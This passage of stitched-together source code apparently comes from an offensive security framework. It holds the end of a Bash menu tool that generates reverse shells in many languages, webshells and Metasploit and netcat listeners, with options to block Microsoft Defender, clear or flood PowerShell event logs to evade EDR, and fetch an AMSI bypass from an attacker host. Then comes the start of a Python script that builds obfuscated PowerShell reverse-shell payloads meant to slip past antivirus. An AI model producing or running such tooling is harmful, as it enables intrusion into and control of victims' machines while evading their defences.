wezterm; do if command -v "$terminal" > /dev/null 2>&1 then "$terminal" -e "/tmp/listen"& break fi done mainmenu ;; n) echo $rlwrap -cAr $nc $prot -lvnp $PORT ;; "") echo -en "#!/bin/bash\nsleep 0.5\necho \"Listening on port:$PORT\"\n$rlwrap -cAr openssl s_server -quiet -key /tmp/k.pem -cert /tmp/c.pem -port $PORT\n" > /tmp/listen && chmod +x /tmp/listen for terminal in "$TERMINAL" x-terminal-emulator qterminal mate-terminal gnome-terminal terminator xfce4-terminal urxvt rxvt termit Eterm aterm roxterm termite lxterminal terminology st lilyterm tilix terminix konsole kitty guake tilda alacritty hyper wezterm; do if command -v "$terminal" > /dev/null 2>&1 then "$terminal" -e "/tmp/listen"& break fi done mainmenu ;; *) echo ;; esac fi ;; 4) if [[ $OS == "Darwin" ]] then osascript -e "tell app \"Terminal\" to do script \"clear && msfconsole -q -x \\\"use exploit/multi/handler;set ExitOnSession false;set LHOST $IP; set LPORT $PORT; run -j\\\" \n\" activate" mainmenu else echo yellowprint "Do you wish to listen in a new terminal window [Y/n]" read -r -n 1 ans case $ans in y) echo -en "#!/bin/bash\nsleep 0.5\necho \"Starting Metasploit Framework...\"\nmsfconsole -q -x \"use exploit/multi/handler;set ExitOnSession false;set LHOST $IP; set LPORT $PORT; run -j\"" > /tmp/listen && chmod +x /tmp/listen for terminal in "$TERMINAL" x-terminal-emulator qterminal mate-terminal gnome-terminal terminator xfce4-terminal urxvt rxvt termit Eterm aterm roxterm termite lxterminal terminology st lilyterm tilix terminix konsole kitty guake tilda alacritty hyper wezterm; do if command -v "$terminal" > /dev/null 2>&1 then "$terminal" -e "/tmp/listen"& break fi done mainmenu ;; n) echo msfconsole -q -x "use exploit/multi/handler;set ExitOnSession false;set LHOST $IP; set LPORT $PORT; run -j" ;; "") echo -en "#!/bin/bash\nsleep 0.5\necho \"Starting Metasploit Framework...\"\nmsfconsole -q -x \"use exploit/multi/handler;set ExitOnSession false;set LHOST $IP; set LPORT $PORT; run -j\"" > /tmp/listen && chmod +x /tmp/listen for terminal in "$TERMINAL" x-terminal-emulator qterminal mate-terminal gnome-terminal terminator xfce4-terminal urxvt rxvt termit Eterm aterm roxterm termite lxterminal terminology st lilyterm tilix terminix konsole kitty guake tilda alacritty hyper wezterm; do if command -v "$terminal" > /dev/null 2>&1 then "$terminal" -e "/tmp/listen"& break fi done mainmenu ;; *) echo ;; esac printf "\n\n";msfconsole -q -x "use exploit/multi/handler;set ExitOnSession false;set LHOST $IP; set LPORT $PORT; run -j" fi ;; m) mainmenu ;; 0) fn_bye ;; "") if [ $defChoice == 1 ] then if [[ $OS == "Darwin" ]] then echo $nc osascript -e "tell app \"Terminal\" to do script \"clear && echo \\\"Listening on port: $PORT\\\" && $rlwrap -cAr /usr/bin/nc $prot -lvn $PORT \n\" activate" mainmenu else echo yellowprint "Do you wish to listen in a new terminal window [Y/n]" read -r -n 1 ans case $ans in y) echo -en "#!/bin/bash\nsleep 0.5\n$rlwrap -cAr $nc $prot -lvnp $PORT\n" > /tmp/listen && chmod +x /tmp/listen for terminal in "$TERMINAL" x-terminal-emulator qterminal mate-terminal gnome-terminal terminator xfce4-terminal urxvt rxvt termit Eterm aterm roxterm termite lxterminal terminology st lilyterm tilix terminix konsole kitty guake tilda alacritty hyper wezterm; do if command -v "$terminal" > /dev/null 2>&1 then "$terminal" -e "/tmp/listen"& break fi done mainmenu ;; n) echo $rlwrap -cAr $nc $prot -lvnp $PORT ;; "") echo -en "#!/bin/bash\nsleep 0.5\n$rlwrap -cAr $nc $prot -lvnp $PORT\n" > /tmp/listen && chmod +x /tmp/listen for terminal in "$TERMINAL" x-terminal-emulator qterminal mate-terminal gnome-terminal terminator xfce4-terminal urxvt rxvt termit Eterm aterm roxterm termite lxterminal terminology st lilyterm tilix terminix konsole kitty guake tilda alacritty hyper wezterm; do if command -v "$terminal" > /dev/null 2>&1 then "$terminal" -e "/tmp/listen"& break fi done mainmenu ;; *) echo ;; esac fi else echo -e "Generating certificate..." openssl req -x509 -newkey rsa:4096 -keyout /tmp/k.pem -out /tmp/c.pem -days 365 -nodes -subj "/C=US/ST=*/L=*/O=*/CN=google.com" >/dev/null 2>&1 if [[ $OS == "Darwin" ]] then osascript -e "tell app \"Terminal\" to do script \"clear && echo \\\"Listening on port: $PORT\\\" && $rlwrap -cAr openssl s_server -quiet -key /tmp/k.pem -cert /tmp/c.pem -port $PORT\n\" activate" mainmenu else echo yellowprint "Do you wish to listen in a new terminal window [Y/n]" read -r -n 1 ans case $ans in y) echo -en "#!/bin/bash\nsleep 0.5\necho \"Listening on:$PORT\"\n$rlwrap -cAr openssl s_server -quiet -key /tmp/k.pem -cert /tmp/c.pem -port $PORT" > /tmp/listen && chmod +x /tmp/listen for terminal in "$TERMINAL" x-terminal-emulator qterminal mate-terminal gnome-terminal terminator xfce4-terminal urxvt rxvt termit Eterm aterm roxterm termite lxterminal terminology st lilyterm tilix terminix konsole kitty guake tilda alacritty hyper wezterm; do if command -v "$terminal" > /dev/null 2>&1 then "$terminal" -e "/tmp/listen"& break fi done mainmenu ;; n) echo $rlwrap -cAr $nc $prot -lvnp $PORT ;; "") echo -en "#!/bin/bash\nsleep 0.5\necho \"Listening on:$PORT\"\n$rlwrap -cAr openssl s_server -quiet -key /tmp/k.pem -cert /tmp/c.pem -port $PORT\n\n" > /tmp/listen && chmod +x /tmp/listen for terminal in "$TERMINAL" x-terminal-emulator qterminal mate-terminal gnome-terminal terminator xfce4-terminal urxvt rxvt termit Eterm aterm roxterm termite lxterminal terminology st lilyterm tilix terminix konsole kitty guake tilda alacritty hyper wezterm; do if command -v "$terminal" > /dev/null 2>&1 then "$terminal" -e "/tmp/listen"& break fi done mainmenu ;; *) echo ;; esac fi fi ;; esac } submenu_ruby() { if [ "$nshell" == "" ] then nshell="/bin/bash" fi header echo -ne " $(blueprint 'Ruby') $(greenprint '1)') No encoding $(greenprint '2)') Base64 encoded $(greenprint '3)') Base64 encoded URL-safe $(greenprint '4)') URL encoded $(greenprint '5)') Double URL encoded\n\n $(cyanprint "OPTIONS") $(greenprint 's)') Which shell [$nshell] $(magentaprint 'm)') Go Back to Main Menu $(redprint '0)') Exit Choose an option: " read -r ans case $ans in 1) ruby ;; 2) ruby "base64" ;; 3) ruby "base64url" ;; 4) ruby "url" ;; 5) ruby "urlx2" ;; s) echo "" oshell="bash" read -p "Please enter shell [$oshell]: " nshell nshell=${nshell:-$oshell} submenu_ruby ;; m) mainmenu ;; 0) fn_bye ;; *) fn_fail ;; esac } submenu_nodejs() { if [ "$nshell" == "" ] then nshell="/bin/bash" fi header echo -ne " $(blueprint 'node.js') $(greenprint '1)') No encoding $(greenprint '2)') Base64 encoded $(greenprint '3)') Base64 encoded URL-safe $(greenprint '4)') URL encoded $(greenprint '5)') Double URL encoded $(greenprint '6)') XSS variant 1 $(greenprint '7)') XSS variant 2 $(greenprint '8)') Deserialize\n\n $(cyanprint "OPTIONS") $(greenprint 's)') Which shell [$nshell] $(magentaprint 'm)') Go Back to Main Menu $(redprint '0)') Exit Choose an option: " read -r ans case $ans in 1) node ;; 2) node "base64" ;; 3) node "base64url" ;; 4) node "url" ;; 5) node "urlx2" ;; 6) node "xss1" ;; 7) node "xss2" ;; 8) node "deserial" ;; s) echo "" oshell="/bin/bash" read -p "Please enter shell [$oshell]: " nshell nshell=${nshell:-$oshell} submenu_nodejs ;; m) mainmenu ;; 0) fn_bye ;; *) fn_fail ;; esac } submenu_webshells() { header echo -ne " $(blueprint 'Webshells') $(greenprint '1)') ASPX - Insomnia $(greenprint '2)') ASPX - Insomnia Impersonate revshell $(greenprint '3)') ASPX - Insomnia revshell $(greenprint '4)') ASP - Simple $(greenprint '5)') PHP - p0wnyshell $(greenprint '6)') PHP - Simple $(greenprint '7)') JSP $(magentaprint 'm)') Go Back to Main Menu $(redprint '0)') Exit Choose an option: " read -r ans case $ans in 1) webshells "Insomnia" ;; 2) webshells "Insomnia_Impersonate" ;; 3) webshells "Insomniarev" ;; 4) webshells "simpleasp" ;; 5) webshells "p0wnyshell" ;; 6) webshells "simplephp" ;; 7) webshells "jsp" ;; m) mainmenu ;; 0) fn_bye ;; *) fn_fail ;; esac } submenu_powershell_reflective() { header echo -ne " $(blueprint 'Reflective C# Shell (Load and run in memory)') $(greenprint '1)') Reverse TCP - Windows $(magentaprint 'm)') Go Back to Main Menu $(redprint '0)') Exit Choose an option [1]: " read -r ans case $ans in 1) powershell_reflective ;; "") powershell_reflective ;; m) mainmenu ;; 0) fn_bye ;; *) fn_fail ;; esac } submenu_powershell() { #Setting default options for Powershell revshell if [ "$poshproto" == "" ] then poshproto="tcp" fi if [ "emfullamsi" == "" ] then emfullamsi=1 fi if [ "$poshinit" == "" ] then poshinit="cmd" fi header echo -ne " $(blueprint 'Powershell') $(greenprint '1)') Powershell - Windows $(greenprint '2)') Powershell - Windows URL encoded $(greenprint '3)') Powershell - Windows Double URL encoded $(greenprint '4)') Powershell - Windows Core $(greenprint '5)') Powershell - Windows Core URL encoded $(greenprint '6)') Powershell - Windows Core Double URL encoded $(greenprint '7)') Powershell - Windows - VBA Macro (MS Office) $(greenprint '8)') Powershell - Windows - Reflective loading theart42's Sharpcat $(greenprint '9)') Powershell - Core $(greenprint '10)') Powershell - Core URL encoded $(greenprint '11)') Powershell - Core Double URL encoded\n\n" echo -n $(cyanprint "OPTIONS") if [ "$blockmssense" == 1 ] then echo -ne "\n$(greenprint 'b)') Block Microsoft Defender For Endpoint (Requires Admin) - $(redprint 'On')" else echo -ne "\n$(greenprint 'b)') Block Microsoft Defender For Endpoint (Requires Admin) - $(blueprint 'Off')" blockmssense=0 fi if [ "$logf" == 1 ] then echo -ne "\n$(greenprint 'r)') Fill PowerShell Evt. log (EDR evation) - $(redprint 'On')" else echo -ne "\n$(greenprint 'r)') Fill PowerShell Evt. log (EDR evation) - $(blueprint 'Off')" logf=0 fi if [ "$clearlogs" == 1 ] then echo -ne "\n$(greenprint 'c)') Clear Powershell Eventlogs (Requires Admin) - $(redprint 'On')" else echo -ne "\n$(greenprint 'c)') Clear Powershell Eventlogs (Requires Admin) - $(blueprint 'Off')" clearlogs=0 fi if [ "$enablefunc" == 1 ] then echo -ne "\n$(greenprint 'i)') Include upload/download function - $(redprint 'On')" else echo -ne "\n$(greenprint 'i)') Include upload/download function - $(blueprint 'Off')" enablefunc=0 fi if [ "$fullamsi" == 1 ] then echo -ne "\n$(greenprint 'd)') Download/run full AMSI bypass - $(redprint "On") $aurl" else echo -ne "\n$(greenprint 'd)') Download/run full AMSI bypass - $(blueprint 'Off')" fullamsi=0 fi if [ "$emfullamsi" == 1 ] then echo -ne "\n$(greenprint 'f)') Embedded full AMSI bypass - $(redprint "On") " else echo -ne "\n$(greenprint 'f)') Embedded full AMSI bypass - $(blueprint 'Off')" emfullamsi=0 fi echo -ne "\n$(greenprint 'p)') Protocol [$(yellowprint $poshproto)]" echo -e "\n$(greenprint 'e)') Init [$(yellowprint $poshinit)]" echo -ne "\n$(greenprint 'a)') About Options" echo echo -ne " $(magentaprint 'm)') Go Back to Main Menu $(redprint '0)') Exit Choose an option: " read -r ans case $ans in 1) powershell_s "" "" "w" "$poshproto" ;; 2) powershell_s "url" "" "w" "$poshproto" ;; 3) powershell_s "urlx2" "" "w" "$poshproto" ;; 4) powershell_s "" "core" "w" "$poshproto" ;; 5) powershell_s "url" "core" "w" "$poshproto" ;; 6) powershell_s "urlx2" "core" "w" "$poshproto" ;; 7) powershell_s "" "" "w" "$poshproto" "vba" ;; 8) powershell_s "" "" "w" "" "sharpcat" ;; 9) powershell_s "" "core" "" "$poshproto" ;; 10) powershell_s "url" "core" "" "$poshproto" ;; 11) powershell_s "urlx2" "core" "" "$poshproto" ;; b) if [ $blockmssense == 0 ] then blockmssense=1 else blockmssense=0 fi submenu_powershell ;; c) if [ $clearlogs == 1 ] then clearlogs=0 else clearlogs=1 fi submenu_powershell ;; i) if [ $enablefunc == 0 ] then enablefunc=1 else enablefunc=0 fi submenu_powershell ;; d) if [ $fullamsi == 0 ] then fullamsi=1 amsiurl="http://$IPv4/rab.ps1" read -p "Please enter url for AMSI bypass [$amsiurl]: " aurl aurl=${aurl:-$amsiurl} else fullamsi=0 fi submenu_powershell ;; f) if [ $emfullamsi == 0 ] then emfullamsi=1 else emfullamsi=0 fi submenu_powershell ;; r) if [ $logf == 0 ] then logf=1 else logf=0 fi submenu_powershell ;; p) submenu_powershell_protocols ;; e) submenu_powershell_init ;; a) header printf " $(blueprint "About Options") b) - Block Microsoft Defender For Endpoint Add a block outgoing rule in windows firewall named nonsense, that blocks MSSense.exe. Requires administrator rights (Remember to cleanup) c) Clear Powershell Eventlogs Clears the logs: - Microsoft-Windows-PowerShell/Operational - Windows Powershell Requires administrator rights i) Include upload/download function You can download files by entering: $(yellowprint "download http://192.168.1.14/nc.exe /windows/temp/nc.exe") You can upload files to Updog by entering: $(yellowprint "upload /windows/system32/calc.exe http://192.168.1.14/upload") The upload requires Updog. You need to add /upload to your target-URL. Also, be aware of: Your updog-folder path $updog_dir will be sent in the requests. f) Download/run full AMSI bypass Downloads an runs Rastamouse AMSI Bypass. If you enable updog, you can have this file generated and served automatically. You can of course choose to enter a url to any other script you would have run upon connection r) Fill PowerShell Evt. log (EDR evation) Starts several new powershell processes, passing a long string then exits. Effectivily growing the log over the default size of 15MB, pushing out the log entries showing this shell spawning. Tested with success on Sentinel One. p) Protocol Choose between TCP, UDP and SSL " read -p "Press enter to return to menu" submenu_powershell ;; m) mainmenu ;; 0) fn_bye ;; *) fn_fail ;; esac } submenu_powershell_protocols() { if [ "$poshproto" == "" ] then poshproto="tcp" fi header echo -ne " $(blueprint 'Protocol') $(greenprint '1)') SSL $(greenprint '2)') TCP $(greenprint '3)') UDP $(magentaprint 'b)') Go Back Choose an option: " read -r ans case $ans in 1) poshproto="ssl" submenu_powershell ;; 2) poshproto="tcp" submenu_powershell ;; 3) poshproto="udp" submenu_powershell ;; b) submenu_powershell ;; esac } submenu_powershell_init() { if [ "$poshinit" == "" ] then $poshinit="cmd" fi header echo -ne " $(blueprint 'Init') $(greenprint '1)') cmd $(greenprint '2)') conhost $(greenprint '3)') powershell $(magentaprint 'b)') Go Back Choose an option: " read -r ans case $ans in 1) poshinit="cmd" submenu_powershell ;; 2) poshinit="conhost" submenu_powershell ;; 3) poshinit="powershell" submenu_powershell ;; b) submenu_powershell ;; esac } submenu_go_lang() { if [ "$nshell" == "" ] then nshell="/bin/sh" fi header echo -ne " $(blueprint 'Golang') $(greenprint '1)') No encoding $(greenprint '2)') Base64 encoded $(greenprint '3)') Base64 encoded URL-safe $(greenprint '4)') URL encoded $(greenprint '5)') Double URL encoded\n\n $(cyanprint "OPTIONS") $(greenprint 's)') Which shell [$nshell] $(magentaprint 'm)') Go Back to Main Menu $(redprint '0)') Exit Choose an option: " read -r ans case $ans in 1) go_lang ;; 2) go_lang "base64" ;; 3) go_lang "base64url" ;; 4) go_lang "url" ;; 5) go_lang "urlx2" ;; s) echo "" oshell="/bin/sh" read -p "Please enter shell [$oshell]: " nshell nshell=${nshell:-$oshell} submenu_go_lang ;; m) mainmenu ;; 0) fn_bye ;; *) fn_fail ;; esac } submenu_phpfunctions() { header echo -ne " $(blueprint 'PHP execute functions') $(greenprint '1)') exec $(greenprint '2)') shell_exec $(greenprint '3)') system $(greenprint '4)') passthru $(greenprint '5)') popen $(greenprint '6)') proc_open $(magentaprint 'b)') Go Back Choose an option: " read -r ans case $ans in 1) efunc="exec" submenu_php ;; 2) efunc="shell_exec" submenu_php ;; 3) efunc="system" submenu_php ;; 4) efunc="passthru" submenu_php ;; 5) efunc="popen" submenu_php ;; 6) efunc="proc_open" submenu_php ;; b) submenu_php ;; esac } submenu_php() { if [ "$nshell" == "" ] then nshell="/bin/bash" fi if [ "$efunc" == "" ] then efunc="exec" fi header echo -ne " $(blueprint 'PHP') $(greenprint '1)') No encoding $(greenprint '2)') Base64 encoded $(greenprint '3)') Base64 encoded URL-safe $(greenprint '4)') URL encoded $(greenprint '5)') Double URL encoded\n\n $(cyanprint "OPTIONS") $(greenprint 's)') Shell [$nshell] $(greenprint 'f)') Function [$efunc] $(magentaprint 'm)') Go Back to Main Menu $(redprint '0)') Exit Choose an option: " read -r ans case $ans in 1) php ;; 2) php "base64" ;; 3) php "base64url" ;; 4) php "url" ;; 5) php "urlx2" ;; s) echo "" oshell="/bin/bash" read -p "Please enter shell [$oshell]: " nshell nshell=${nshell:-$oshell} submenu_php ;; f) submenu_phpfunctions ;; m) mainmenu ;; 0) fn_bye ;; *) fn_fail ;; esac } submenu_telnet() { if [ "$nshell" == "" ] then nshell="sh" fi header echo -ne " $(blueprint 'Telnet') $(greenprint '1)') No encoding $(greenprint '2)') Base64 encoded $(greenprint '3)') Base64 encoded URL-safe $(greenprint '3)') URL encoded $(greenprint '4)') Double URL encoded\n\n $(cyanprint "OPTIONS") $(greenprint 's)') Which shell [$nshell] $(magentaprint 'm)') Go Back to Main Menu $(redprint '0)') Exit Choose an option: " read -r ans case $ans in 1) telnet ;; 2) telnet "base64" ;; 3) telnet "base64url" ;; 4) telnet "url" ;; 5) telnet "urlx2" ;; s) echo "" oshell="sh" read -p "Please enter shell [$oshell]: " nshell nshell=${nshell:-$oshell} submenu_telnet ;; m) mainmenu ;; 0) fn_bye ;; *) fn_fail ;; esac } submenu_perl() { if [ "$nshell" == "" ] then nshell="sh -i" fi header echo -ne " $(blueprint 'Perl') $(greenprint '1)') No encoding $(greenprint '2)') Base64 encoded $(greenprint '3)') Base64 encoded URL-safe $(greenprint '4)') URL encoded $(greenprint '5)') Double URL encoded\n\n $(cyanprint "OPTIONS") $(greenprint 's)') Which shell [$nshell] $(magentaprint 'm)') Go Back to Main Menu $(redprint '0)') Exit Choose an option: " read -r ans case $ans in 1) perl ;; 2) perl "base64" ;; 3) perl "base64" ;; 4) perl "url" ;; 5) perl "urlx2" ;; s) echo "" oshell="sh -i" read -p "Please enter shell [$oshell]: " nshell nshell=${nshell:-$oshell} submenu_perl ;; m) mainmenu ;; 0) fn_bye ;; *) fn_fail ;; esac } submenu_zsh() { header echo -ne " $(blueprint 'Zsh') $(greenprint '1)') No encoding $(greenprint '2)') Base64 encoded $(greenprint '3)') Base64 encoded URL-safe $(greenprint '4)') URL encoded $(greenprint '5)') Double URL encoded $(magentaprint 'm)') Go Back to Main Menu $(redprint '0)') Exit Choose an option: " read -r ans case $ans in 1) zsh ;; 2) zsh "base64" ;; 3) zsh "base64url" ;; 4) zsh "url" ;; 5) zsh "urlx2" ;; m) mainmenu ;; 0) fn_bye ;; *) fn_fail ;; esac } submenu_bash() { header echo -ne " $(blueprint 'Bash') $(greenprint '1)') No encoding TCP $(greenprint '2)') Base64 encoded TCP $(greenprint '3)') Base64 encoded TCP URL-safe $(greenprint '4)') URL encoded TCP $(greenprint '5)') Double URL encoded TCP $(greenprint '6)') No encoding UDP $(greenprint '7)') Base64 encoded UDP $(greenprint '8)') Base64 encoded UDP URL-safe $(greenprint '9)') URL encoded UDP $(greenprint '10)') Double URL encoded UDP $(magentaprint 'm)') Go Back to Main Menu $(redprint '0)') Exit Choose an option: " read -r ans case $ans in 1) bash_i "" "tcp" ;; 2) bash_i "base64" "tcp" ;; 3) bash_i "base64url" "tcp" ;; 4) bash_i "url" "tcp" ;; 5) bash_i "urlx2" "tcp" ;; 6) bash_i "" "udp" ;; 7) bash_i "base64" "udp" ;; 8) bash_i "base64url" "udp" ;; 9) bash_i "url" "udp" ;; 10) bash_i "urlx2" "udp" ;; m) mainmenu ;; 0) fn_bye ;; *) fn_fail ;; esac } submenu_awk() { header echo -ne " $(blueprint 'awk') $(greenprint '1)') No encoding $(greenprint '2)') Base64 encoded $(greenprint '3)') Base64 encoded URL-safe $(greenprint '4)') URL encoded $(greenprint '5)') Double URL encoded $(magentaprint 'm)') Go Back to Main Menu $(redprint '0)') Exit Choose an option: " read -r ans case $ans in 1) awk_s ;; 2) awk_s "base64" ;; 3) awk_s "base64url" ;; 4) awk_s "url" ;; 5) awk_s "urlx2" ;; m) mainmenu ;; 0) fn_bye ;; *) fn_fail ;; esac } submenu_open_s() { poshproto="ssl" if [ "$nshell" == "" ] then nshell="/bin/bash" fi header echo -ne " $(blueprint 'OpenSSL') $(greenprint '1)') No encoding $(greenprint '2)') Base64 encoded $(greenprint '3)') Base64 encoded URL-safe $(greenprint '4)') URL encoded $(greenprint '5)') Double URL encoded\n\n $(cyanprint "OPTIONS") $(greenprint 's)') Which shell [$nshell] $(magentaprint 'm)') Go Back to Main Menu $(redprint '0)') Exit Choose an option: " read -r ans case $ans in 1) open_s ;; 2) open_s "base64" ;; 3) open_s "base64url" ;; 4) open_s "url" ;; 5) open_s "urlx2" ;; s) echo "" oshell="/bin/bash" read -p "Please enter shell [$oshell]: " nshell nshell=${nshell:-$oshell} submenu_open_s ;; m) mainmenu ;; 0) fn_bye ;; *) fn_fail ;; esac } submenu_ncbinaries() { header echo -ne " $(blueprint 'Files') $(greenprint '1)') nc Linux 64-bit $(greenprint '2)') nc Linux 32-bit $(greenprint '3)') nc Linux ARM 64-bit $(greenprint '4)') nc MacOS Intel $(greenprint '5)') nc Windows 32-bit $(greenprint '6)') nc Windows 64-bit $(greenprint '7)') c++ Powershell Windows 32-bit $(greenprint '8)') c++ Powershell Windows 64-bit $(greenprint '9)') theart42's Sharpcat 64-bit $(greenprint '10)') Rastamouse AMSI Bypass $(magentaprint 'm)') Go Back to Main Menu $(redprint '0)') Exit Choose an option: " read -r ans case $ans in 1) nc_binaries "Linux64" ;; 2) nc_binaries "Linux32" ;; 3) nc_binaries "Linuxarm64" ;; 4) nc_binaries "Macosintel" ;; 5) nc_binaries "Windows32" ;; 6) nc_binaries "Windows64" ;; 7) nc_binaries "cppWindows32" ;; 8) nc_binaries "cppWindows64" ;; 9) nc_binaries "Sharpcat" ;; 10) nc_binaries "RastamouseAmsi" ;; m) mainmenu ;; 0) fn_bye ;; *) fn_fail ;; esac } submenu_netcat() { header if [ "$nshell" == "" ] then nshell="/bin/bash" fi echo -ne " $(blueprint 'Netcat') $(greenprint '1)') No encoding $(greenprint '2)') Base64 encoded $(greenprint '3)') Base64 encoded URL-safe $(greenprint '4)') URL encoded $(greenprint '5)') Double URL encoded $(greenprint '6)') Looping, no encoding $(greenprint '7)') Looping, Base64 encoded $(greenprint '8)') Looping, Base64 encoded URL-safe $(greenprint '9)') Looping, URL encoded $(greenprint '10)') Looping, double URL encoded\n\n $(cyanprint "OPTIONS") $(greenprint 's)') Which shell [$nshell] $(magentaprint 'm)') Go Back to Main Menu $(redprint '0)') Exit Choose an option: " read -r ans case $ans in 1) netcat ;; 2) netcat "base64" ;; 3) netcat "base64url" ;; 4) netcat "url" ;; 5) netcat "urlx2" ;; 7) netcat "" "loop" ;; 7) netcat "base64" "loop" ;; 8) netcat "base64url" "loop" ;; 9) netcat "url" "loop" ;; 10) netcat "urlx2" "loop" ;; s) echo "" oshell="bash" read -p "Please enter shell [$oshell]: " nshell nshell=${nshell:-$oshell} submenu_netcat ;; m) mainmenu ;; 0) fn_bye ;; *) fn_fail ;; esac } submenu_python() { if [ "$nshell" == "" ] then nshell="/bin/bash" fi header echo -ne " $(blueprint 'Python') $(greenprint '1)') Python3 - No encoding $(greenprint '2)') Python3 - URL encoded $(greenprint '3)') Python3 - Double URL encoded $(greenprint '4)') Python2 - No encoding $(greenprint '5)') Python2 - URL encoded $(greenprint '6)') Python2 - Double URL encoded $(greenprint '7)') Windows Python3 - No encoding $(greenprint '8)') Windows Python3 - URL encoded $(greenprint '9)') Windows Python3 - Double URL encoded $(greenprint '10)') Windows Python2 - No encoding $(greenprint '11)') Windows Python2 - URL encoded $(greenprint '12)') Windows Python2 - Double URL encoded\n\n $(cyanprint "OPTIONS") $(greenprint 's)') Which shell [$nshell] $(magentaprint 'm)') Go Back to Main Menu $(redprint '0)') Exit Choose an option: " read -r ans case $ans in 1) python "python3" ;; 2) python "python3" "url" ;; 3) python "python3" "urlx2" ;; 4) python "python" ;; 5) python "python" "url" ;; 6) python "python" "urlx2" ;; 7) python "wpython3" ;; 8) python "wpython3" "url" ;; 9) python "wpython3" "urlx2" ;; 10) python "wpython" ;; 11) python "wpython" "url" ;; 12) python "wpython" "urlx2" ;; s) echo "" oshell="bash" read -p "Please enter shell [$oshell]: " nshell nshell=${nshell:-$oshell} submenu_python ;; m) mainmenu ;; 0) fn_bye ;; *) fn_fail ;; esac } mainmenu() { banner poshproto="" if [[ $ngrok_installed == 1 ]] then ngrok_choice="$(greenprint 'n)') Start/Stop ngrok" fi echo -ne " $(magentaprint 'MAIN MENU') $(greenprint '1)') Powershell $(greenprint '2)') Netcat $(greenprint '3)') Bash $(greenprint '4)') Python $(greenprint '5)') Ruby $(greenprint '6)') Perl $(greenprint '7)') Telnet $(greenprint '8)') Zsh $(greenprint '9)') PHP $(greenprint '10)') Awk $(greenprint '11)') OpenSSL $(greenprint '12)') Golang $(greenprint '13)') Files $(greenprint '14)') Webshells $(greenprint '15)') node.js $(greenprint 'u)') Start/Stop Updog $ngrok_choice $(redprint '0)') Exit Choose an option: " read -r ans case $ans in 1) input submenu_powershell ;; 2) input submenu_netcat ;; 3) input submenu_bash ;; 4) input submenu_python ;; 5) input submenu_ruby ;; 6) input submenu_perl ;; 7) input submenu_telnet ;; 8) input submenu_zsh ;; 9) input submenu_php ;; 10) input submenu_awk ;; 11) input submenu_open_s ;; 12) input submenu_go_lang ;; 13) submenu_ncbinaries ;; 14) submenu_webshells ;; 15) input submenu_nodejs ;; u) input "updog" start_updog ;; n) input "ngrok" start_ngrok ;; 0) fn_bye ;; *) fn_fail ;; esac } mainmenu
1,755,663
Python
.py
3,103
558.604898
1,039,788
0.926139
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,783
joker.py
CHEGEBB_africana-framework/externals/joker/joker.py
import random import time import uuid import base64 import argparse import logging import subprocess from tqdm import tqdm from colorama import init, Fore import string import socket import threading init(autoreset=True) # - This tool is an obfuscated PowerShell payload designed to bypass RTP # - and allow for RCE on a victim's machine. It opens a listener on a specified # - port and waits for the victim to run it. The payload is created by replacing specific strings. # - with randomly generated similar-looking strings to avoid detection # - The tool also provides a base64-encoded version of the payload that can be copied and run on the victim's machine. # - The tool's use requires knowledge of PowerShell and the ability to execute commands on the victim's machine. # - Made by Adkali | GitHub # - For education purpose only # -------------- USING PARSER LIBRARY -------------- parser = argparse.ArgumentParser(description="Why so serious?") parser.add_argument('-l', '-local', type=str, required=True, help='Local Machine') parser.add_argument('-p', '-port', type=int, help='On What Port To Connect locally') parser.add_argument('-r', '-raw', choices=["raw"], required=False, help="Raw Output [ Clean text ]") parser.add_argument('-n', '-ngr', choices=["ngrok"], required=False, help="Ngrok tunnel") args = parser.parse_args() if not args.p: print(f"\n[!] {Fore.RED}\033[1mNote:{Fore.RESET} Default port is 4444.") args.p = 4444 time.sleep(0.5) # SET THE BASIC CONFING FOR LOGGING logging.basicConfig(level=logging.INFO) # CREATE A LOGGER WITH __NAME__ FOR THE CURRENT MODULE logger = logging.getLogger(__name__) # --------------------- DEFINING COLORS --------------------- def Pro_Colors(): yellow = Fore.YELLOW red = Fore.RED normal = Fore.RESET cyan = Fore.CYAN lightblue = Fore.LIGHTBLUE_EX green = Fore.GREEN return yellow, red, normal, cyan, lightblue, green # Assign colors to name, call them after. Yellow, Red, Normal, l_cyan, LightBlue, Green = Pro_Colors() # --------------------- TREE --------------------- MAIN = "├──" TEE2 = "└──" SPACE_PREFIX = " " # --------------------- PJ --------------------- def JOKER(): print(f''' .------..------..------..------..------. |{Yellow}P{Normal}.--. ||O.--. ||W.--. ||E.--. ||R.--. | | :(): || :/\: || :/\: || (\/) || :(): | | ()() || :\/: || :\/: || :\/: || ()() | | '--'J|| '--'O|| '--'K|| '--'E|| '--'R| `-----'`------'`------'`------'`------''') # --------------------- UUIDS TO BE USED AFTER -------------------- def Generate_uuids(): # Using a list to store the random UUIDs that will be generated random_uuid = [] # Make 10 UUIDs for _ in range(10): random_uuid.append("$" + str(uuid.uuid4())) # Choose randomly a UUID from the list random_uid_get = random.choice(random_uuid) time.sleep(0.7) return random_uid_get # Split uuids at the start and grab it to be a variable def spl_uuid(): # Cal the above function uids = Generate_uuids() print(f"\nRandomly UUID => {uids}") # Using split, when '-' comes, grab the first random one to be use as a variable split_uuid = uids.split("-")[0] return split_uuid # Random string to be used after on TCP connection def random_strings(): # Randomly select variables which will be shown on the TCP PS connection random_names = string.ascii_letters # Random numbers between 6-11 to be use for the length of the string to be generated. random_length = random.randrange(6, 12) char2 = '' # Making loop as the number of time defined by the random_length for char in range(random_length): # When iterated, assign letters as the random.range between 6-12. char2 += random.choice(random_names) return char2 def random_choice(variables): """ Making a dictionary with random strings. using range, it will make it 5 times. Assign each a different string following with a key as number, so I will be call it later-on. """ dict_variables = { } for i in range(variables): # Use i as the key ( unique key for each string ) dict_variables[i] = random_strings() return dict_variables strings = random_strings() random_string_pickup = random_choice(variables=5) # ------------ DMV GDE PDE GTG -------------------- Command0 = ['$str = "TcP"+"C"+"li"+"e"+"nt";', '$reversed = -join ($str[-1..-($str.Length)])'] Command1 = ['$a = IEX $env:', 'SystemRoot\SysWow64\??ndowsPowerShe??', '\\v1.0\powershe??.exe;'] Command2 = ['$client = New-Object ', 'System.Net.Sockets.', 'TCPClient("0.0.0.0",0000)'] Command3 = ['$stream = ', '$client.GetStream();', '[byte[]]$bytes = 0..65535|%{0};'] Command4 = ['while(($i = $stream.Read($bytes, 0, $bytes.Length))', '-ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding)', '.GetString($bytes,0, 